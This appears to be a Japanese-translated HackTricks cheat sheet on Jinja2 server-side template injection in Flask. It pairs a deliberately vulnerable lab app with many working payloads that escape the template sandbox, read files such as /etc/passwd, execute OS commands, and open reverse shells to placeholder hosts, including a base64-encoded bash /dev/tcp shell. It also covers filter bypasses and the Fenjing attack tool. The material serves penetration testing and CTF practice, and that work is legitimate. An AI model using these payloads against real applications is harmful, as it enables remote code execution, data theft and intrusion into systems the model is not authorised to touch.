17 KiB
Jinja2 SSTI
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
デバッグステートメント
デバッグ拡張機能が有効になっている場合、debug
タグが使用可能になり、現在のコンテキストや利用可能なフィルターおよびテストをダンプすることができます。これは、デバッガをセットアップせずにテンプレートで使用可能なものを確認するのに役立ちます。
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
すべての構成変数をダンプする
ソース: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinjaインジェクション
まず第一に、Jinjaインジェクションでは、サンドボックスから脱出する方法を見つけ、通常のPython実行フローへのアクセスを回復する必要があります。これを行うためには、サンドボックスからアクセス可能な非サンドボックス環境からのオブジェクトを悪用する必要があります。
グローバルオブジェクトへのアクセス
たとえば、コードrender_template("hello.html", username=username, email=email)
では、usernameとemailというオブジェクトは非サンドボックスのPython環境から取得され、サンドボックス環境内でアクセス可能になります。
さらに、サンドボックス環境からは常にアクセス可能な他のオブジェクトもあります。
[]
''
()
dict
config
request
<class 'object'> の回復
次に、これらのオブジェクトからクラス <class 'object'>
に到達する必要があります。これは、定義済みの クラス を 回復 しようとするためです。このオブジェクトから __subclasses__
メソッドを呼び出し、ノンサンドボックスのPython環境からすべてのクラスにアクセスできます。
その オブジェクトクラス にアクセスするには、クラスオブジェクトにアクセスし、__base__
、__mro__()[-1]
、または .
mro()[-1]
のいずれかにアクセスする必要があります。そして、この オブジェクトクラス に到達した後に __subclasses__()
を呼び出します。
これらの例を確認してください:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
<class 'object'>
を回復し、__subclasses__
を呼び出した後、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになります。
__subclasses__
への呼び出しにより、数百の新しい関数にアクセスできるようになりました。単にファイルクラスにアクセスするだけでファイルの読み書きやos
のようなコマンドの実行を許可するクラスにアクセスできることに満足するでしょう。
リモートファイルの読み書き
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
以下のクラスについて学ぶには、エスケープに使用できるさらなるクラスについて確認してください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
フィルターバイパス
一般的なバイパス
これらのバイパスを使用すると、一部の文字を使用せずにオブジェクトの属性にアクセスできます。
これらのバイパスのいくつかは、前述の例で既に見てきましたが、ここでまとめてみましょう:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- グローバルオブジェクトにアクセスするためのさらなるオプションを確認するにはこちらをクリック
- オブジェクトクラスにアクセスするためのさらなるオプションを確認するにはこちらをクリック
- オブジェクトクラスなしでRCEを取得する方法については、これを読んでください
HTMLエンコーディングを回避する
デフォルトでは、セキュリティ上の理由から、Flaskはテンプレート内のすべてのをHTMLエンコードします。
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
フィルターを使用すると、次のようにページにJavaScriptとHTMLをHTMLエンコードせずにインジェクトできます:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
悪意のある設定ファイルを書いてRCEを達成します。
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
いくつかの文字なし
{{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinjaインジェクション**<class 'object'>**なし
グローバルオブジェクトから、そのクラスを使用せずにRCEに到達する別の方法があります。
これらのグローバルオブジェクトから関数にアクセスできれば、__globals__.__builtins__
にアクセスでき、そこからRCEは非常に簡単になります。
request
、config
、およびアクセス可能な他の興味深いグローバルオブジェクトから関数を見つけることができます。
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
一度いくつかの関数を見つけたら、次のようにして組み込み関数を復元できます:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是简单地发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
参考文献
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- ここでブラックリスト化された文字をバイパスするための attrトリックをチェックしてください。
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウォッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。